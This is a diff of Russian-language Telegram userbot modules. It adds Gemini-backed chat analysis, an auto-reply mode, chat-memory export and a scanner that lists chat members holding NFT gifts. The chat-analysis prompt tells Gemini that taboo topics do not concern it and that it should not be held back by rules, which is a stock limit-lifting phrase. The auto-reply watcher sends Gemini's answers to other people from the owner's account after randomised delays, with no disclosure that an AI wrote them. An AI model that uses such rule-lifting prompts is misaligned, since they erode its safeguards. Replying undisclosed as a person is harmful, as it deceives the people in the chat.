e.__class__.__name__)) + except Exception as e: + return await utils.answer(status_msg, self.strings["gch_chat_error"].format(target_chat_id, e)) + full_prompt = ( + f"Проанализируй следующую историю чата и ответь на вопрос пользователя. " + f"Твой ответ должен быть основан ИСКЛЮЧИТЕЛЬНО на предоставленной истории.Тебя не смущают и не волнуют табуированные темы, все что тебе нужно это дать ответ на вопрос пользователя а не упрекатся правилами.\n\n" + f"ВОПРОС ПОЛЬЗОВАТЕЛЯ: \"{user_prompt}\"\n\n" + f"ИСТОРИЯ ЧАТА:\n---\n{chat_log}\n---" + ) + try: + response = None + error_to_report = None + max_retries = len(self.api_keys) + if not max_retries: + await utils.answer(status_msg, self.strings['no_api_key']); return + for i in range(max_retries): + current_key_index = (self.current_api_key_index + i) % max_retries + api_key = self.api_keys[current_key_index] + try: + genai.configure(api_key=api_key) + sanitized_model_name = self.config["model_name"].lower().replace(" ", "-") + model = genai.GenerativeModel(sanitized_model_name, safety_settings=self.safety_settings) + api_response = await asyncio.wait_for(model.generate_content_async(full_prompt), timeout=GEMINI_TIMEOUT) + response = api_response + self.current_api_key_index = current_key_index + break + except google_exceptions.GoogleAPIError as e: + msg = str(e) + if "quota" in msg.lower() or "exceeded" in msg.lower(): + if max_retries == 1: error_to_report = e; break + logger.warning(f"Ключ Gemini API №{current_key_index + 1} исчерпал квоту. Пробую следующий.") + if i == max_retries - 1: error_to_report = RuntimeError("Все ключи исчерпали квоту.") + continue + else: error_to_report = e; break + except Exception as e: error_to_report = e; break + if error_to_report: raise error_to_report + if response is None: raise RuntimeError("Не удалось получить ответ от Gemini.") + result_text = re.sub(r"]*>", "", response.text) + header = self.strings["gch_result_caption_from_chat"].format(count, chat_name) if target_chat_id != utils.get_chat_id(message) else self.strings["gch_result_caption"].format(count) + question_html = f"
{utils.escape_html(user_prompt)}
" + response_html = self._markdown_to_html(result_text) + formatted_body = self._format_response_with_smart_separation(response_html) + text_to_send = (f"{header}\n\n{self.strings['question_prefix']}\n{question_html}\n\n{self.strings['response_prefix']}\n{formatted_body}") + if len(text_to_send) > 4096: + file_content = (f"Вопрос: {user_prompt}\n\n════════════════════\n\nОтвет Gemini на анализ чата '{chat_name}':\n{result_text}") + file = io.BytesIO(file_content.encode("utf-8")) + file.name = f"analysis_{target_chat_id}.txt" + await status_msg.delete() + await message.reply(file=file, caption=f"📝 {header}") + else: + await utils.answer(status_msg, text_to_send) + except Exception as e: + await utils.answer(status_msg, self._handle_error(e)) + + @loader.command() + async def gauto(self, message: Message): + """ — Вкл/выкл авто-ответ в чате.""" + args = utils.get_args_raw(message).split() + if not args: + await utils.answer(message, self.strings["auto_mode_usage"]) + return + chat_id = utils.get_chat_id(message) + state_arg = args[0].lower() + target_chat_id = None + action = None + if len(args) == 1: + if state_arg in ("on", "off"): + target_chat_id = chat_id + action = state_arg + elif len(args) == 2: + try: + entity = await self.client.get_entity(args[0]) + target_chat_id = entity.id + action = args[1].lower() + except Exception: + await utils.answer(message, self.strings["gauto_chat_not_found"].format(utils.escape_html(args[0]))) + return + if action == "on": + self.impersonation_chats.add(target_chat_id) + self.db.set(self.strings["name"], DB_IMPERSONATION_KEY, list(self.impersonation_chats)) + if target_chat_id == chat_id: + await utils.answer(message, self.strings["auto_mode_on"].format(int(self.config["impersonation_reply_chance"] * 100))) + else: + await utils.answer(message, self.strings["gauto_state_updated"].format(f"{target_chat_id}", self.strings["gauto_enabled"])) + elif action == "off": + self.impersonation_chats.discard(target_chat_id) + self.db.set(self.strings["name"], DB_IMPERSONATION_KEY, list(self.impersonation_chats)) + if target_chat_id == chat_id: + await utils.answer(message, self.strings["auto_mode_off"]) + else: + await utils.answer(message, self.strings["gauto_state_updated"].format(f"{target_chat_id}", self.strings["gauto_disabled"])) + else: + await utils.answer(message, self.strings["auto_mode_usage"]) + + @loader.command() + async def gautochats(self, message: Message): + """— Показать чаты с активным режимом авто-ответа.""" + if not self.impersonation_chats: + await utils.answer(message, self.strings["no_auto_mode_chats"]) + return + out=[self.strings["auto_mode_chats_title"].format(len(self.impersonation_chats))] + for chat_id in self.impersonation_chats: + try: + entity=await self.client.get_entity(chat_id) + name=utils.escape_html(get_display_name(entity)) + out.append(self.strings["memory_chat_line"].format(name, chat_id)) + except Exception: + out.append(self.strings["memory_chat_line"].format("Неизвестный чат", chat_id)) + await utils.answer(message, "\n".join(out)) + + @loader.command() + async def gclear(self, message: Message): + """[auto] — очистить память в чате. auto для памяти gauto.""" + args=utils.get_args_raw(message) + chat_id=utils.get_chat_id(message) + if args=="auto": + if str(chat_id) in self.gauto_conversations: + self._clear_history(chat_id, gauto=True) + await utils.answer(message, self.strings["memory_cleared_gauto"]) + else: + await utils.answer(message, self.strings["no_gauto_memory_to_clear"]) + elif not args: + if str(chat_id) in self.conversations: + self._clear_history(chat_id, gauto=False) + await utils.answer(message, self.strings["memory_cleared"]) + else: + await utils.answer(message, self.strings["no_memory_to_clear"]) + else: + await utils.answer(message, self.strings["gclear_usage"]) + + @loader.command() + async def gmemdel(self, message: Message): + """[N] — удалить последние N пар сообщений из памяти.""" + args=utils.get_args_raw(message) + try: n=int(args) if args else 1 + except Exception: n=1 + chat_id=utils.get_chat_id(message) + hist=self._get_structured_history(chat_id) + elements_to_remove=n*2 + if n > 0 and len(hist) >= elements_to_remove: + hist=hist[:-elements_to_remove] + self.conversations[str(chat_id)]=hist + self._save_history_sync() + await utils.answer(message, f"🧹 Удалено последних {n} пар сообщений из памяти.") + else: + await utils.answer(message, "Недостаточно истории для удаления.") + + @loader.command() + async def gmemchats(self, message: Message): + """— Показать список чатов с активной памятью (имя и ID).""" + if not self.conversations: + await utils.answer(message, self.strings["no_memory_found"]); return + out=[self.strings["memory_chats_title"].format(len(self.conversations))] + shown=set() + for chat_id_str in list(self.conversations.keys()): + if not chat_id_str or not str(chat_id_str).lstrip('-').isdigit(): + del self.conversations[chat_id_str] + continue + chat_id=int(chat_id_str) + if chat_id in shown: continue + shown.add(chat_id) + try: + entity=await self.client.get_entity(chat_id) + name=get_display_name(entity) + except Exception: name=f"Unknown ({chat_id})" + out.append(self.strings["memory_chat_line"].format(name, chat_id)) + self._save_history_sync() + if len(out)==1: + await utils.answer(message, self.strings["no_memory_found"]); return + await utils.answer(message, "\n".join(out)) + + @loader.command() + async def gmemexport(self, message: Message): + """[] [auto] [-s] — \n[из id/@юза чата] экспорт. -s в избранное.""" + args = utils.get_args_raw(message).split() + save_to_self = "-s" in args + if save_to_self: + args.remove("-s") + gauto_mode = "auto" in args + if gauto_mode: + args.remove("auto") + source_chat_id_str = args[0] if args else None + target_chat_id = "me" if save_to_self else message.chat_id + if source_chat_id_str: + try: + entity = await self.client.get_entity( + int(source_chat_id_str) + if source_chat_id_str.lstrip("-").isdigit() + else source_chat_id_str + ) + source_chat_id = entity.id + except Exception: + await utils.answer( + message, + self.strings["gme_chat_not_found"].format( + utils.escape_html(source_chat_id_str) + ), + ) + return + else: + source_chat_id = utils.get_chat_id(message) + hist = self._get_structured_history(source_chat_id, gauto=gauto_mode) + if not hist: + await utils.answer(message, "История для экспорта пуста.") + return + user_ids = {e.get("user_id") for e in hist if e.get("role") == "user" and e.get("user_id")} + user_names = {None: None} + for uid in user_ids: + if not uid: + continue + try: + entity = await self.client.get_entity(uid) + user_names[uid] = get_display_name(entity) + except Exception: + user_names[uid] = f"Deleted Account ({uid})" + import json + def make_serializable(entry): + entry = dict(entry) + user_id = entry.get("user_id") + if user_id: + entry["user_name"] = user_names.get(user_id) + if hasattr(user_id, "user_id"): + entry["user_id"] = user_id.user_id + elif isinstance(user_id, (int, str)): + entry["user_id"] = user_id + elif user_id is not None: + entry["user_id"] = str(user_id) + else: + entry["user_id"] = None + if "message_id" in entry and entry["message_id"] is not None: + try: + entry["message_id"] = int(entry["message_id"]) + except (ValueError, TypeError): + entry["message_id"] = None + return entry + serializable_hist = [make_serializable(e) for e in hist] + data = json.dumps(serializable_hist, ensure_ascii=False, indent=2) + file_suffix = "gauto_history" if gauto_mode else "history" + file = io.BytesIO(data.encode("utf-8")) + file.name = f"gemini_{file_suffix}_{source_chat_id}.json" + caption = "Экспорт истории gauto Gemini" if gauto_mode else "Экспорт памяти Gemini" + if source_chat_id != utils.get_chat_id(message): + caption += f" из чата {source_chat_id}" + await self.client.send_file( + target_chat_id, + file, + caption=caption, + reply_to=message.id if target_chat_id == message.chat_id else None, + ) + if save_to_self: + await utils.answer(message, self.strings["gme_sent_to_saved"]) + elif source_chat_id_str: + await message.delete() + + @loader.command() + async def gmemimport(self, message: Message): + """[auto] — импорт истории из файла (ответом). auto для gauto.""" + reply=await message.get_reply_message() + if not reply or not reply.document: return await utils.answer(message, "Ответьте на json-файл с памятью.") + args=utils.get_args_raw(message) + gauto_mode=args=="auto" + file=io.BytesIO() + await self.client.download_media(reply, file) + file.seek(0) + MAX_IMPORT_SIZE=6 * 1024 * 1024 + if file.getbuffer().nbytes > MAX_IMPORT_SIZE: return await utils.answer(message, f"Файл слишком большой (>{MAX_IMPORT_SIZE // (1024*1024)} МБ).") + import json + try: + hist=json.load(file) + if not isinstance(hist, list): raise ValueError("Файл не содержит список истории.") + new_hist=[] + for e in hist: + if not isinstance(e, dict) or "role" not in e or "content" not in e: raise ValueError("Некорректная структура памяти.") + entry={"role": e["role"], "type": e.get("type", "text"), "content": e["content"], "date": e.get("date")} + if e["role"]=="user": + entry["user_id"]=e.get("user_id") + entry["message_id"]=e.get("message_id") + new_hist.append(entry) + chat_id=utils.get_chat_id(message) + conversations=self.gauto_conversations if gauto_mode else self.conversations + conversations[str(chat_id)]=new_hist + self._save_history_sync(gauto=gauto_mode) + await utils.answer(message, "Память успешно импортирована.") + except Exception as e: + await utils.answer(message, f"Ошибка импорта: {e}") + + @loader.command() + async def gmemfind(self, message: Message): + """[слово] — Поиск по истории текущего чата по ключевому слову или фразе.""" + args=utils.get_args_raw(message) + if not args: return await utils.answer(message, "Укажите слово для поиска.") + chat_id=utils.get_chat_id(message) + hist=self._get_structured_history(chat_id) + found=[f"{e['role']}: {e.get('content','')[:200]}" for e in hist if args.lower() in str(e.get("content", "")).lower()] + if not found: await utils.answer(message, "Ничего не найдено.") + else: await utils.answer(message, "\n\n".join(found[:10])) + + @loader.command() + async def gmemoff(self, message: Message): + """— Отключить память в этом чате""" + chat_id=utils.get_chat_id(message) + self.memory_disabled_chats.add(str(chat_id)) + await utils.answer(message, "Память в этом чате отключена.") + + @loader.command() + async def gmemon(self, message: Message): + """— Включить память в этом чате""" + chat_id=utils.get_chat_id(message) + self.memory_disabled_chats.discard(str(chat_id)) + await utils.answer(message, "Память в этом чате включена.") + + @loader.command() + async def gmemshow(self, message: Message): + """[auto] — Показать память чата (до 20 последних запросов). auto для gauto.""" + args=utils.get_args_raw(message) + gauto_mode=args=="auto" + chat_id=utils.get_chat_id(message) + hist=self._get_structured_history(chat_id, gauto=gauto_mode) + if not hist: return await utils.answer(message, "Память пуста.") + out=[] + for e in hist[-40:]: + role=e.get('role') + content=utils.escape_html(str(e.get('content',''))[:300]) + if role=='user': out.append(f"{content}") + elif role=='model': out.append(f"Gemini: {content}") + text="
" + "\n".join(out) + "
" + await utils.answer(message, text) + + @loader.command() + async def gmodel(self, message: Message): + """[model или пусто] — Узнать/сменить модель. -s — список доступных моделей в файле.""" + args = utils.get_args_raw(message).strip().lower() + if '-s' in args: + if not self.api_keys: + await utils.answer(message, self.strings['no_api_key']) + return + status_msg = await utils.answer(message, self.strings["processing"]) + try: + api_key = self.api_keys[self.current_api_key_index] + genai.configure(api_key=api_key) + models_list = [] + for model_obj in genai.list_models(): + model_name = model_obj.name + display_name = model_obj.display_name or "Неизвестно" + methods = ", ".join(model_obj.supported_generation_methods) if model_obj.supported_generation_methods else "Нет" + img_support = self.strings["gmodel_img_support"] if 'predict' in model_obj.supported_generation_methods or 'generateContent' in model_obj.supported_generation_methods else self.strings["gmodel_no_support"] + models_list.append(f"• {model_name} — {display_name} ({img_support})") + if not models_list: + await utils.answer(status_msg, self.strings["gmodel_no_models"]) + return + text = self.strings["gmodel_list_title"] + "\n" + "\n".join(models_list) + file = io.BytesIO(text.encode("utf-8")) + file.name = "models_list.txt" + await self.client.send_file( + message.chat_id, + file=file, + caption="📋 Список доступных моделей Gemini", + reply_to=message.id + ) + except Exception as e: + await utils.answer(status_msg, self.strings["gmodel_list_error"].format(self._handle_error(e))) + return + if not args: + await utils.answer(message, f"Текущая модель: {self.config['model_name']}") + return + self.config["model_name"] = args + await utils.answer(message, f"Модель Gemini установлена: {args}") + + @loader.command() + async def gres(self, message: Message): + """[auto] — Очистить ВСЮ память. auto для всей памяти gauto.""" + args=utils.get_args_raw(message) + if args=="auto": + if not self.gauto_conversations: return await utils.answer(message, self.strings["no_gauto_memory_to_fully_clear"]) + num_chats=len(self.gauto_conversations) + self.gauto_conversations.clear() + self._save_history_sync(gauto=True) + await utils.answer(message, self.strings["gauto_memory_fully_cleared"].format(num_chats)) + elif not args: + if not self.conversations: return await utils.answer(message, self.strings["no_memory_to_fully_clear"]) + num_chats=len(self.conversations) + self.conversations.clear() + self._save_history_sync(gauto=False) + await utils.answer(message, self.strings["memory_fully_cleared"].format(num_chats)) + else: + await utils.answer(message, self.strings["gres_usage"]) + + def _configure_proxy(self): + for var in ["http_proxy", "https_proxy", "HTTP_PROXY", "HTTPS_PROXY"]: os.environ.pop(var, None) + if self.config["proxy"]: + os.environ["http_proxy"]=self.config["proxy"] + os.environ["https_proxy"]=self.config["proxy"] + + @loader.watcher(only_incoming=True, ignore_edited=True) + async def watcher(self, message: Message): + if not isinstance(message, types.Message) or not hasattr(message, 'chat_id'): + return + chat_id = utils.get_chat_id(message) + if chat_id not in self.impersonation_chats: + return + if message.is_private and not self.config["gauto_in_pm"]: + return + is_from_self_user = isinstance(message.from_id, types.PeerUser) and message.from_id.user_id == self.me.id + is_command = message.text and message.text.startswith(self.get_prefix()) + if message.out or is_from_self_user or is_command: + return + sender = await message.get_sender() + is_sender_a_bot = isinstance(sender, types.User) and sender.bot + if not sender or is_sender_a_bot: + return + if random.random() > self.config["impersonation_reply_chance"]: + return + parts, warnings = await self._prepare_parts(message) + if warnings: + logger.warning(f"Gauto | Предупреждения при обработке медиа: {warnings}") + if not parts: + return + response_text = await self._send_to_gemini(message=message, parts=parts, impersonation_mode=True) + if response_text and response_text.strip(): + await asyncio.sleep(random.uniform(1.0, 2.5)) + await message.reply(response_text.strip()) + + def _load_history_from_db(self, db_key: str) -> dict: + raw_conversations=self.db.get(self.strings["name"], db_key, {}) + if not isinstance(raw_conversations, dict): + logger.warning(f"Gemini: БД для ключа '{db_key}' повреждена, сбрасываю.") + raw_conversations={}; self.db.set(self.strings["name"], db_key, raw_conversations) + chats_with_bad_history=set() + for k in list(raw_conversations.keys()): + v=raw_conversations[k] + if not isinstance(v, list): + chats_with_bad_history.add(k) + raw_conversations[k]=[] + else: + filtered, bad_found=[], False + for e in v: + if isinstance(e, dict) and "role" in e and "content" in e: filtered.append(e) + else: bad_found=True + if bad_found: chats_with_bad_history.add(k) + raw_conversations[k]=filtered + if chats_with_bad_history: logger.warning(f"Gemini ({db_key}): Некорректная структура памяти в {len(chats_with_bad_history)} чатах. Некорректные записи пропущены.") + return raw_conversations + + def _save_history_sync(self, gauto: bool=False): + if getattr(self, "_db_broken", False): return + conversations_to_save, db_key=(self.gauto_conversations, DB_GAUTO_HISTORY_KEY) if gauto else (self.conversations, DB_HISTORY_KEY) + try: self.db.set(self.strings["name"], db_key, conversations_to_save) + except Exception as e: + logger.error(f"Ошибка сохранения истории Gemini (gauto={gauto}): {e}") + self._db_broken=True + + def _get_structured_history(self, chat_id: int, gauto: bool=False) -> list: + conversations=self.gauto_conversations if gauto else self.conversations + hist=conversations.get(str(chat_id), []) + if not isinstance(hist, list): + logger.warning(f"Память для чата {chat_id} (gauto={gauto}) повреждена, сбрасываю.") + hist=[] + conversations[str(chat_id)]=hist + self._save_history_sync(gauto) + return hist + + def _update_history(self, chat_id: int, user_parts: list, model_response: str, regeneration: bool = False, message: Message = None, gauto: bool = False): + if not self._is_memory_enabled(str(chat_id)): + return + history = self._get_structured_history(chat_id, gauto) + now = int(asyncio.get_event_loop().time()) + user_id = self.me.id + if message: + try: + peer_id = get_peer_id(message) + if peer_id: + user_id = peer_id + except (TypeError, ValueError): + pass + message_id = getattr(message, "id", None) + user_text = " ".join([p.text for p in user_parts if hasattr(p, "text") and p.text]) or "[ответ на медиа]" + if regeneration: + for i in range(len(history) - 1, -1, -1): + if history[i].get("role") == "model": + history[i].update({"content": model_response, "date": now}) + break + else: + history.extend([ + {"role": "user", "type": "text", "content": user_text, "date": now, "user_id": user_id, "message_id": message_id}, + {"role": "model", "type": "text", "content": model_response, "date": now}, + ]) + max_len = self.config["max_history_length"] + if max_len > 0 and len(history) > max_len * 2: + history = history[-(max_len * 2):] + conversations = self.gauto_conversations if gauto else self.conversations + conversations[str(chat_id)] = history + self._save_history_sync(gauto) + + def _clear_history(self, chat_id: int, gauto: bool=False): + conversations=self.gauto_conversations if gauto else self.conversations + if str(chat_id) in conversations: + del conversations[str(chat_id)] + self._save_history_sync(gauto) + + def _handle_error(self, e: Exception) -> str: + logger.exception("Gemini execution error") + if isinstance(e, asyncio.TimeoutError): + return self.strings["api_timeout"] + if isinstance(e, RuntimeError) and "Все ключи исчерпали квоту" in str(e): + return self.strings["all_keys_exhausted"].format(len(self.api_keys)) + if isinstance(e, google_exceptions.GoogleAPIError): + msg = str(e) + if "quota" in msg.lower() or "exceeded" in msg.lower(): + model_name = self.config.get("model_name", "unknown") + model_name_match = re.search(r'key: "model"\s+value: "([^"]+)"', msg) + if model_name_match: + model_name = model_name_match.group(1) + return ( + f"❗️ Превышен лимит Google Gemini API для модели {utils.escape_html(model_name)}." + "\n\nЧаще всего это происходит на бесплатном тарифе. Вы можете:\n" + "• Подождать, пока лимит сбросится (обычно раз в сутки).\n" + "• Проверить свой тарифный план в Google AI Studio.\n" + "• Узнать больше о лимитах здесь.\n\n" + f"Детали ошибки:\n{utils.escape_html(msg)}" + ) + if "500 An internal error has occurred" in msg: + return ( + "❗️ Ошибка 500 от Google API.\n" + "Это значит, что формат медиа (файл или еще что то) который ты отправил, не поддерживается.\n" + "Такое случается, по такой причине:\n " + "• Если формат файла в принципе не поддерживается Gemini/Гуглом.\n " + "• Временный сбой на серверах Google. Попробуйте повторить запрос позже." + ) + if "User location is not supported for the API use" in msg or "location is not supported" in msg: + return ( + '❗️ В данном регионе Gemini API не доступен.\n' + 'Скачайте VPN (для пк/тел) или поставьте прокси (платный/бесплатный).\n' + 'Или воспользуйтесь инструкцией вот тут\n' + 'А для тех у кого UserLand инструкция тут' + ) + if "API key not valid" in msg: + return self.strings["invalid_api_key"] + if "blocked" in msg.lower(): + return self.strings["blocked_error"].format(utils.escape_html(msg)) + return self.strings["api_error"].format(utils.escape_html(msg)) + if isinstance(e, (OSError, aiohttp.ClientError, socket.timeout)): + return "❗️ Сетевая ошибка:\n{}".format(utils.escape_html(str(e))) + msg = str(e) + if "No API_KEY or ADC found" in msg or "GOOGLE_API_KEY environment variable" in msg or "genai.configure(api_key" in msg: + return self.strings["no_api_key"] + return self.strings["generic_error"].format(utils.escape_html(str(e))) + + def _markdown_to_html(self, text: str) -> str: + def heading_replacer(match): level=len(match.group(1)); title=match.group(2).strip(); indent=" " * (level - 1); return f"{indent}{title}" + text=re.sub(r"^(#+)\s+(.*)", heading_replacer, text, flags=re.MULTILINE) + def list_replacer(match): indent=match.group(1); return f"{indent}• " + text=re.sub(r"^([ \t]*)[-*+]\s+", list_replacer, text, flags=re.MULTILINE) + md=MarkdownIt("commonmark", {"html": True, "linkify": True}); md.enable("strikethrough"); md.disable("hr"); md.disable("heading"); md.disable("list") + html_text=md.render(text) + def format_code(match): + lang=utils.escape_html(match.group(1).strip()); code=utils.escape_html(match.group(2).strip()) + return f'
{code}
' if lang else f'
{code}
' + html_text=re.sub(r"```(.*?)\n([\s\S]+?)\n```", format_code, html_text) + html_text=re.sub(r"

(

[\s\S]*?
)

", r"\1", html_text, flags=re.DOTALL) + html_text=html_text.replace("

", "").replace("

", "\n").strip() + return html_text + + def _format_response_with_smart_separation(self, text: str) -> str: + pattern=r"([\s\S]*?)"; parts=re.split(pattern, text, flags=re.DOTALL); result_parts=[] + for i, part in enumerate(parts): + if not part or part.isspace(): continue + if i % 2==1: result_parts.append(part.strip()) + else: + stripped_part=part.strip() + if stripped_part: result_parts.append(f'
{stripped_part}
') + return "\n".join(result_parts) + def _get_inline_buttons(self, chat_id, base_message_id): return [[{"text": self.strings["btn_clear"], "callback": self._clear_callback, "args": (chat_id,)}, {"text": self.strings["btn_regenerate"], "callback": self._regenerate_callback, "args": (base_message_id, chat_id)}]] + + async def _safe_del_msg(self, msg, delay=1): + await asyncio.sleep(delay) + try: await self.client.delete_messages(msg.chat_id, msg.id) + except Exception as e: logger.warning(f"Ошибка удаления сообщения: {e}") + + async def _clear_callback(self, call: InlineCall, chat_id: int): + self._clear_history(chat_id, gauto=False) + await call.edit(self.strings["memory_cleared"], reply_markup=None) + + async def _regenerate_callback(self, call: InlineCall, original_message_id: int, chat_id: int): + key=f"{chat_id}:{original_message_id}"; last_request_tuple=self.last_requests.get(key) + if not last_request_tuple: return await call.answer(self.strings["no_last_request"], show_alert=True) + last_parts, display_prompt=last_request_tuple; use_url_context=bool(re.search(r'https?://\S+', display_prompt or "")) + await self._send_to_gemini(message=original_message_id, parts=last_parts, regeneration=True, call=call, chat_id_override=chat_id, use_url_context=use_url_context, display_prompt=display_prompt) + + async def _get_recent_chat_text(self, chat_id: int, count: int = None, skip_last: bool = False) -> str: + history_limit = count or self.config["impersonation_history_limit"] + fetch_limit = history_limit + 1 if skip_last else history_limit + chat_history_lines = [] + try: + messages = await self.client.get_messages(chat_id, limit=fetch_limit) + if skip_last and messages: + messages = messages[1:] + for msg in messages: + if not msg: + continue + if not msg.text and not msg.sticker and not msg.photo and not (msg.media and not hasattr(msg.media, "webpage")): + continue + sender = await msg.get_sender() + sender_name = get_display_name(sender) if sender else "Unknown" + text_content = msg.text or "" + if msg.sticker and hasattr(msg.sticker, 'attributes'): + alt_text = next((attr.alt for attr in msg.sticker.attributes if isinstance(attr, types.DocumentAttributeSticker)), None) + text_content += f" [Стикер: {alt_text or '?'}]" + elif msg.photo: + text_content += " [Фото]" + elif msg.document and not hasattr(msg.media, "webpage"): + text_content += " [Файл]" + if text_content.strip(): + chat_history_lines.append(f"{sender_name}: {text_content.strip()}") + except Exception as e: + logger.warning(f"Не удалось получить историю для авто-ответа: {e}") + return "\n".join(reversed(chat_history_lines)) + + def _is_memory_enabled(self, chat_id: str) -> bool: return chat_id not in self.memory_disabled_chats + def _disable_memory(self, chat_id: int): self.memory_disabled_chats.add(str(chat_id)) + def _enable_memory(self, chat_id: int): self.memory_disabled_chats.discard(str(chat_id)) diff --git a/SenkoGuardian/SenModules/GiftFinder.py b/SenkoGuardian/SenModules/GiftFinder.py new file mode 100644 index 0000000..403bc76 --- /dev/null +++ b/SenkoGuardian/SenModules/GiftFinder.py @@ -0,0 +1,134 @@ +# This file is part of SenkoGuardianModules +# Copyright (c) 2025 Senko +# This software is released under the MIT License. +# https://opensource.org/licenses/MIT + +# meta developer: @SenkoGuardianModules + +import asyncio +import random +import re + +from .. import loader, utils +from herokutl.tl.functions.payments import GetSavedStarGiftsRequest +from herokutl.tl.functions.channels import GetFullChannelRequest +from herokutl.tl.types import Message, StarGiftUnique, Channel +from herokutl.errors.rpcerrorlist import DocumentInvalidError, FloodWaitError, ChatAdminRequiredError +from telethon.utils import get_display_name + +@loader.tds +class GiftFinderMod(loader.Module): + """Парсер пользователей с NFT-подарками в чате.""" + strings = { + "name": "GiftFinder", + "not_a_chat": "🚫 Не удалось найти указанный чат.", + "scanning": "⏳ Сканирую участников...", + "scanning_supplement": "⏳ Список участников неполон. Дополнительно сканирую сообщения...", + "scanning_messages_only": "⏳ Участники скрыты. Сканирую только сообщения...", + "header": "🔖 Те у кого есть НФТ подарки:", + "premium_star": "⭐️", + "flood_wait": "\n😖 Поймал FloodWait на {} секунд. Увеличиваю задержку и жду...", + "scanning_safe": "⏳ Сканирую участников...", + "scanning_supplement_safe": "⏳ Список участников неполон. Дополнительно сканирую сообщения...", + "scanning_messages_only_safe": "⏳ Участники скрыты. Сканирую только сообщения...", + "flood_wait_safe": "\n😖 Поймал FloodWait на {} секунд. Увеличиваю задержку и жду...", + "no_users_found": "🚫 В этом чате не найдено пользователей с NFT-подарками.", + } + + async def _safe_edit(self, msg: Message, text_premium: str, text_safe: str): + try: + await msg.edit(text_premium) + except DocumentInvalidError: + await msg.edit(text_safe) + except Exception: + pass + + async def giftscancmd(self, message: Message): + """ + Ищет пользователей с NFT-подарками в чате. + Использование: .giftscan [лимит] или .giftscan [ID чата] [лимит] + """ + args = utils.get_args_raw(message) + chat_arg = None + msgs_limit = 3000 + if args: + parts = args.split() + first_arg = parts[0] + if first_arg.lstrip('-').isdigit(): + chat_arg = int(first_arg) + if len(parts) > 1 and parts[1].isdigit(): + msgs_limit = int(parts[1]) + else: + chat_arg = first_arg + if len(parts) > 1 and parts[1].isdigit(): + msgs_limit = int(parts[1]) + if not chat_arg and args and args.isdigit(): + msgs_limit = int(args) + try: + msg = await utils.answer(message, self.strings("scanning")) + except DocumentInvalidError: + msg = await utils.answer(message, self.strings("scanning_safe")) + try: + chat = await self.client.get_entity(chat_arg) if chat_arg is not None else await message.get_chat() + except Exception: + await self._safe_edit(msg, self.strings("not_a_chat"), self.strings("not_a_chat")) + return + user_ids = set() + scan_messages_mode = False + try: + if isinstance(chat, Channel): + full_chat = await self.client(GetFullChannelRequest(channel=chat)) + total_participants = full_chat.full_chat.participants_count + else: + total_participants = chat.participants_count + participants = await self.client.get_participants(chat, limit=None) + user_ids.update(user.id for user in participants) + if len(participants) < total_participants: + scan_messages_mode = True + await self._safe_edit(msg, self.strings("scanning_supplement"), self.strings("scanning_supplement_safe")) + except (ChatAdminRequiredError, AttributeError, TypeError, ValueError): + scan_messages_mode = True + await self._safe_edit(msg, self.strings("scanning_messages_only"), self.strings("scanning_messages_only_safe")) + if scan_messages_mode: + async for m in self.client.iter_messages(chat, limit=msgs_limit): + if m.from_id and hasattr(m.from_id, 'user_id'): + user_ids.add(m.from_id.user_id) + found_users = [] + base_delay_min, base_delay_max, flood_penalty = 0.5, 1.5, 0.0 + for user_id in user_ids: + try: + user = await self.client.get_entity(user_id) + if user.bot or user.is_self: continue + except Exception: continue + await asyncio.sleep(random.uniform(base_delay_min + flood_penalty, base_delay_max + flood_penalty)) + while True: + try: + all_gifts = await self.client(GetSavedStarGiftsRequest(peer=user, offset="", limit=100)) + if gifts := [g for g in all_gifts.gifts if isinstance(g.gift, StarGiftUnique)]: + raw_name = get_display_name(user) + s_name = re.sub(r'[\u2066-\u2069\u200e\u200f\u202a-\u202e\u3164\u115f\u2800]', '', raw_name).strip() + link_text = f"@{user.username}" if not s_name and user.username else (f"User ID: {user.id}" if not s_name else utils.escape_html(s_name)) + link = f'{link_text}' if user.username else f'{link_text}' + p_icon = self.strings('premium_star') if getattr(user, 'premium', False) else "" + found_users.append(f"• {p_icon} {link} - {len(gifts)}") + break + except FloodWaitError as e: + current_text = (await self.client.get_messages(msg.chat_id, ids=msg.id)).text + premium_text = current_text + self.strings("flood_wait").format(e.seconds) + safe_text = current_text + self.strings("flood_wait_safe").format(e.seconds) + await self._safe_edit(msg, premium_text, safe_text) + flood_penalty += 0.2 + await asyncio.sleep(e.seconds) + continue + except Exception: break + if not found_users: + await self._safe_edit(msg, self.strings("no_users_found"), self.strings("no_users_found")) + return + user_list = "\n".join(found_users) + response_text = f"{self.strings('header')}\n
{user_list}
" + safe_header = "🔖 " + self.strings("header").split("")[1] + safe_list = [line.replace(self.strings("premium_star"), "⭐️") for line in found_users] + safe_user_list = '\n'.join(safe_list) + response_text_safe = f"{safe_header}\n
{safe_user_list}
" + await self._safe_edit(msg, response_text, response_text_safe) + # горе кодер diff --git a/SenkoGuardian/SenModules/LICENSE.md b/SenkoGuardian/SenModules/LICENSE.md new file mode 100644 index 0000000..868ded8 --- /dev/null +++ b/SenkoGuardian/SenModules/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Senko + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/SenkoGuardian/SenModules/MaillingChatGT99.py b/SenkoGuardian/SenModules/MaillingChatGT99.py new file mode 100644 index 0000000..caaf8c3 --- /dev/null +++ b/SenkoGuardian/SenModules/MaillingChatGT99.py @@ -0,0 +1,705 @@ +# This file is part of SenkoGuardianModules +# Copyright (c) 2025 Senko +# This software is released under the MIT License. +# https://opensource.org/licenses/MIT + +__version__ = (1, 3, 0) + +# meta developer: @SenkoGuardianModules + +import asyncio +import logging 